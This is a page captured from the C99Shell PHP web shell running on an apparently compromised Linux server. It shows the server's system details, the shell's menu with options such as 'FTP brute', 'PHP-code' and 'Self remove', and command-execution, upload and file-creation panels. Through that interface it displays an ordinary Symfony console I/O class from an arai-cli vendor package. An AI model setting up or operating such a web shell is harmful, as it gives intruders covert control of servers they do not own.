!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/siu/arai-cli/src/SIU/AraiCli/IO/   drwxrwxr-x
Free 15.57 GB of 61.93 GB (25.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ConsoleIO.php (6.83 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Created by IntelliJ IDEA.
 * User: ablanco
 * Date: 23/06/15
 * Time: 15:02.
 */
namespace SIU\AraiCli\IO;

use 
Symfony\Component\Console\Input\InputInterface;
use 
Symfony\Component\Console\Output\ConsoleOutputInterface;
use 
Symfony\Component\Console\Output\OutputInterface;
use 
Symfony\Component\Console\Helper\HelperSet;
use 
Symfony\Component\Console\Question\ConfirmationQuestion;
use 
Symfony\Component\Console\Question\Question;

/**
 * The Input/Output helper.
 *
 * @author François Pluchino <francois.pluchino@opendisplay.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class ConsoleIO implements IOInterface
{
    protected 
$input;
    protected 
$output;
    protected 
$helperSet;
    protected 
$lastMessage;
    protected 
$lastMessageErr;
    private 
$startTime;

    
/**
     * Constructor.
     *
     * @param InputInterface  $input     The input instance
     * @param OutputInterface $output    The output instance
     * @param HelperSet       $helperSet The helperSet instance
     */
    
public function __construct(InputInterface $inputOutputInterface $outputHelperSet $helperSet)
    {
        
$this->input $input;
        
$this->output $output;
        
$this->helperSet $helperSet;
    }

    public function 
enableDebugging($startTime)
    {
        
$this->startTime $startTime;
    }

    
/**
     * {@inheritdoc}
     */
    
public function isInteractive()
    {
        return 
$this->input->isInteractive();
    }

    
/**
     * {@inheritdoc}
     */
    
public function isDecorated()
    {
        return 
$this->output->isDecorated();
    }

    
/**
     * {@inheritdoc}
     */
    
public function isVerbose()
    {
        return 
$this->output->getVerbosity() >= OutputInterface::VERBOSITY_VERBOSE;
    }

    
/**
     * {@inheritdoc}
     */
    
public function isVeryVerbose()
    {
        return 
$this->output->getVerbosity() >= OutputInterface::VERBOSITY_VERY_VERBOSE;
    }

    
/**
     * {@inheritdoc}
     */
    
public function isDebug()
    {
        return 
$this->output->getVerbosity() >= OutputInterface::VERBOSITY_DEBUG;
    }

    
/**
     * {@inheritdoc}
     */
    
public function write($messages$newline true)
    {
        
$this->doWrite($messages$newlinefalse);
    }

    
/**
     * {@inheritdoc}
     */
    
public function writeError($messages$newline true)
    {
        
$this->doWrite($messages$newlinetrue);
    }

    
/**
     * @param array $messages
     * @param bool  $newline
     * @param bool  $stderr
     */
    
private function doWrite($messages$newline$stderr)
    {
        if (
null !== $this->startTime) {
            
$memoryUsage memory_get_usage() / 1024 1024;
            
$timeSpent microtime(true) - $this->startTime;
            
$messages array_map(function ($message) use ($memoryUsage$timeSpent) {
                return 
sprintf('[%.1fMB/%.2fs] %s'$memoryUsage$timeSpent$message);
            }, (array) 
$messages);
        }

        if (
true === $stderr && $this->output instanceof ConsoleOutputInterface) {
            
$this->output->getErrorOutput()->write($messages$newline);
            
$this->lastMessageErr implode($newline "\n" '', (array) $messages);

            return;
        }

        
$this->output->write($messages$newline);
        
$this->lastMessage implode($newline "\n" '', (array) $messages);
    }

    
/**
     * {@inheritdoc}
     */
    
public function overwrite($messages$newline true$size null)
    {
        
$this->doOverwrite($messages$newline$sizefalse);
    }

    
/**
     * {@inheritdoc}
     */
    
public function overwriteError($messages$newline true$size null)
    {
        
$this->doOverwrite($messages$newline$sizetrue);
    }

    
/**
     * @param array $messages
     * @param bool  $newline
     * @param int   $size
     * @param bool  $stderr
     */
    
private function doOverwrite($messages$newline$size$stderr)
    {
        
// messages can be an array, let's convert it to string anyway
        
$messages implode($newline "\n" '', (array) $messages);

        
// since overwrite is supposed to overwrite last message...
        
if (!isset($size)) {
            
// removing possible formatting of lastMessage with strip_tags
            
$size strlen(strip_tags($stderr $this->lastMessageErr $this->lastMessage));
        }
        
// ...let's fill its length with backspaces
        
$this->doWrite(str_repeat("\x08"$size), false$stderr);

        
// write the new message
        
$this->doWrite($messagesfalse$stderr);

        
$fill $size strlen(strip_tags($messages));
        if (
$fill 0) {
            
// whitespace whatever has left
            
$this->doWrite(str_repeat(' '$fill), false$stderr);
            
// move the cursor back
            
$this->doWrite(str_repeat("\x08"$fill), false$stderr);
        }

        if (
$newline) {
            
$this->doWrite(''true$stderr);
        }

        if (
$stderr) {
            
$this->lastMessageErr $messages;
        } else {
            
$this->lastMessage $messages;
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function ask($question$default null)
    {
        
$output $this->output;

        if (
$output instanceof ConsoleOutputInterface) {
            
$output $output->getErrorOutput();
        }

        
/** @var \Symfony\Component\Console\Helper\QuestionHelper $helper */
        
$helper $this->helperSet->get('question');
        
$question = new Question($question$default);

        return 
$helper->ask($this->input$output$question);
    }

    
/**
     * {@inheritdoc}
     */
    
public function askConfirmation($question$default true)
    {
        
$output $this->output;

        if (
$output instanceof ConsoleOutputInterface) {
            
$output $output->getErrorOutput();
        }

        
/** @var \Symfony\Component\Console\Helper\QuestionHelper $helper */
        
$helper $this->helperSet->get('question');
        
$question = new ConfirmationQuestion($question$default);

        return 
$helper->ask($this->input$output$question);
    }

    
/**
     * {@inheritdoc}
     */
    
public function askAndValidate($question$validator$attempts null$default null)
    {
        
$output $this->output;

        if (
$output instanceof ConsoleOutputInterface) {
            
$output $output->getErrorOutput();
        }

        
/** @var \Symfony\Component\Console\Helper\QuestionHelper $helper */
        
$helper $this->helperSet->get('question');
        
$question = new Question($question$default);
        
$question->setValidator($validator);
        
$question->setMaxAttempts($attempts);

        return 
$helper->ask($this->input$output$question);
    }

    
/**
     * {@inheritdoc}
     */
    
public function askAndHideAnswer($question)
    {
        
$this->writeError($questionfalse);

        return \
Seld\CliPrompt\CliPrompt::hiddenPrompt(true);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2867 ]--